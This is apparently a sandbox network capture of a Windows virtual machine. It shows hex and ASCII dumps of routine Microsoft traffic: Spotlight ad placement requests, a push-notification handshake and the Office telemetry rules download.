aasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAadm/akqoy1ncgil0PQvWIkNn28VqXlzoA61ofPGzJsBuGSpnndNS8rQKfdAoV+N4O8y6U9qgkYlM1Mj/GQXuLtOJoQYBd+3Iz10FFVmOaPOOHP+OH3uIhKcU0pAeYk13fdTMgREYP0S9Z0uwVEocnUMSM99AxIJLj/z2V9D2nLh7Ob2V9jmBlkPRz6BZptOlCOb2ERW/TKZJGtUfYnbV1bdXiLyP2Vl4+b0eLte4xS2Wcc4fa+iYed24iInyp5c0RRzuu6ayr8aJ8DS6yHL9k6ifMOXjP68Ros/bYroJRq8w6riLl1qqv5BY8vuFnNOMmAV7gBaMMu5JlEZGiiFfx4QZgAAEIjFRJD2Q1RTbWWgT7wMNb+wAfJFYgqQBPaRd55nF8HVBAvrsdSRdyiI9o/PznosTQvNloM/TXcUmH9DAtqsk8l/bt/JAQs2isq8UnqNphEMitLzX0TbIEeR+n3zhlOokcKOwjRNPFIeVdpoS4W+/GobycelKkq1NffQZbLotgyvEQujekOQHVwij5av+2g6zDke140a+bx82lCRKJE74ztRjyniehBOigez6sAGMQ9j3x+0oPFwtKlwTSKWj+9CfIrUi/aW7vwWe+HxVA5eK/lYoBPKBsN7n7ATkqfdQ0daNQ1Vz4qLCv/jr9zelcwInIbk2CMkOoHt/w/WY6rLwol2gAGHIHAwPSMm2E0dmXmGdSujB12t0XVD0EVyaWTx7Q5Gn+45Kmq8H9hrpWoMEISmDDnyON8fkAhJ1rRqqFgl9Kfy4AP/Lf2H9BcduTmG0LY97tjTL6ZvKSDPmTPfTUerQzVe5KxpRWcSu1M/49OLyQBM9IgCPe1iinljbEihOGKqisBszFysZThghcx0ArDjur7n6Qaajpm9x2M4vga+DOjAD3fsBNR/j+jkv4dCgt05oybklJZbeACIkAcw0vfH+9oB&p= Cache-Control: no-cache MS-CV: 4nxV+zfjuk6EBM6R.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-05 19:51:03 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3772 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: FNopicsHlRRs2BeOZ+4i1Ic7/P1PpBOy5yOz/ANU18JDogDgjNCVewxP64uR5GpLJrdti6iKGL5sdYKpPfUcwkAHlGcw5BjckUq0BeE0SYBfKrv4WBwm5BE2p/KbLOxCoDJZp7DZ9jfkaO7cfBlDP29Ej7xrxqTzyJ4AXPmJrUzET11OWF2M3cIEwHxVHRktyfggr99BRZVQ/H1m/uVYc5cP/deVlaLHRH0Gyc6r0KD1cOXV8CV/QyUPY1KkjAImp0ReCwrAgQOWMdIDbLlFp+fRq00opV+Nwa45YP0t+OrkUYg8iH8alZf+4+x4v0DBvP+5y+UOIu+WMkoeFiz95A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 05 Nov 2024 19:51:03 GMT Connection: close
2024-11-05 19:51:03 UTC	3772	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49726	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:02 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241105T195100Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ce25bb14ef43499ba01bdce4c7e88b98&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=572493&metered=false&nettype=ethernet&npid=sc-88000045&oemName=dydray%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=dydray20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=572493&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAadm/akqoy1ncgil0PQvWIkNn28VqXlzoA61ofPGzJsBuGSpnndNS8rQKfdAoV+N4O8y6U9qgkYlM1Mj/GQXuLtOJoQYBd+3Iz10FFVmOaPOOHP+OH3uIhKcU0pAeYk13fdTMgREYP0S9Z0uwVEocnUMSM99AxIJLj/z2V9D2nLh7Ob2V9jmBlkPRz6BZptOlCOb2ERW/TKZJGtUfYnbV1bdXiLyP2Vl4+b0eLte4xS2Wcc4fa+iYed24iInyp5c0RRzuu6ayr8aJ8DS6yHL9k6ifMOXjP68Ros/bYroJRq8w6riLl1qqv5BY8vuFnNOMmAV7gBaMMu5JlEZGiiFfx4QZgAAEIjFRJD2Q1RTbWWgT7wMNb+wAfJFYgqQBPaRd55nF8HVBAvrsdSRdyiI9o/PznosTQvNloM/TXcUmH9DAtqsk8l/bt/JAQs2isq8UnqNphEMitLzX0TbIEeR+n3zhlOokcKOwjRNPFIeVdpoS4W+/GobycelKkq1NffQZbLotgyvEQujekOQHVwij5av+2g6zDke140a+bx82lCRKJE74ztRjyniehBOigez6sAGMQ9j3x+0oPFwtKlwTSKWj+9CfIrUi/aW7vwWe+HxVA5eK/lYoBPKBsN7n7ATkqfdQ0daNQ1Vz4qLCv/jr9zelcwInIbk2CMkOoHt/w/WY6rLwol2gAGHIHAwPSMm2E0dmXmGdSujB12t0XVD0EVyaWTx7Q5Gn+45Kmq8H9hrpWoMEISmDDnyON8fkAhJ1rRqqFgl9Kfy4AP/Lf2H9BcduTmG0LY97tjTL6ZvKSDPmTPfTUerQzVe5KxpRWcSu1M/49OLyQBM9IgCPe1iinljbEihOGKqisBszFysZThghcx0ArDjur7n6Qaajpm9x2M4vga+DOjAD3fsBNR/j+jkv4dCgt05oybklJZbeACIkAcw0vfH+9oB&p= Cache-Control: no-cache MS-CV: 4nxV+zfjuk6EBM6R.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-05 19:51:03 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2938 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: E4yuc4R8KwQf1XaeiRWjVIF90/TiNmmRr3lbn7sxMzuSByCPxwV8SGEc+2hUMOQVHmRmEz9sTYdha0XPsMh0vSOqlZkt7dDbOHoQIkiypDBL+pZ2K/ovsSireARxTfySJumGOQE97vF0zU3aTlnhujfhreCDuxV4O+RHfxvLVfF4c387usy24o7TIom3WHe0MiLM19NFVcD48AjHA/cHZxFYJHIyLrKAvA9xPSHxpLlgqXaBCmMRSOMDaoiC1icXqISG/K/GSwOam7MU3f8l9oMGo1ieFdFMTz0l6hiyumOn94wQ4vfiWNERmQ+cJ/cgT8IEPHaWeNSgS5SzRkBtkg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 05 Nov 2024 19:51:02 GMT Connection: close
2024-11-05 19:51:03 UTC	2938	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49727	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 68 38 49 37 46 79 66 33 6b 43 4e 5a 57 6d 4c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 62 66 66 32 35 36 61 35 39 65 34 61 63 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5h8I7Fyf3kCNZWmL.1Context: ecbff256a59e4acf
2024-11-05 19:51:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-05 19:51:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 68 38 49 37 46 79 66 33 6b 43 4e 5a 57 6d 4c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 62 66 66 32 35 36 61 35 39 65 34 61 63 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 74 69 48 46 6e 6c 5a 67 69 6c 39 49 45 55 51 6d 37 49 54 63 47 37 71 51 59 53 61 44 59 6a 57 46 66 77 33 70 30 2f 32 6f 38 6b 42 72 32 34 50 36 69 50 44 61 4c 70 4c 78 52 4f 2b 48 4d 58 37 45 35 4e 6a 52 48 41 74 72 61 67 4d 33 4b 46 51 4d 58 4a 77 70 32 4b 71 54 6b 2b 76 32 7a 36 2b 70 47 6b 45 62 6f 56 44 4a 4b 76 41 73 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5h8I7Fyf3kCNZWmL.2Context: ecbff256a59e4acf<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAActiHFnlZgil9IEUQm7ITcG7qQYSaDYjWFfw3p0/2o8kBr24P6iPDaLpLxRO+HMX7E5NjRHAtragM3KFQMXJwp2KqTk+v2z6+pGkEboVDJKvAs
2024-11-05 19:51:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 68 38 49 37 46 79 66 33 6b 43 4e 5a 57 6d 4c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 62 66 66 32 35 36 61 35 39 65 34 61 63 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 5h8I7Fyf3kCNZWmL.3Context: ecbff256a59e4acf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-05 19:51:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-05 19:51:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 65 6b 66 55 30 59 4f 55 55 57 36 67 31 44 43 44 56 54 47 6e 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +ekfU0YOUUW6g1DCDVTGnw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49729	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:06 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:07 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:06 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 05 Nov 2024 00:45:17 GMT ETag: "0x8DCFD331E45FB54" x-ms-request-id: d6fc9ab7-901e-008f-8051-2f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195106Z-157b9fd754f292rnhC1SN1u8us00000004xg000000002pvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:07 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
